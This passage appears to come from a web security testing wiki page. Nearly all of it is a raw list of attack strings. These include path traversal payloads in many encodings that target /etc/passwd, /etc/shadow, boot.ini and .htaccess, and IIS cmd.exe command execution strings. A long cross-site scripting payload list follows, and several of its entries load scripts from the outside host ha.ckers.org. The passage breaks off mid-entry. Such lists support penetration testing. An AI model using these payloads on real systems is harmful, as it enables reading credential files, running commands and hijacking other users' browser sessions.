%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; 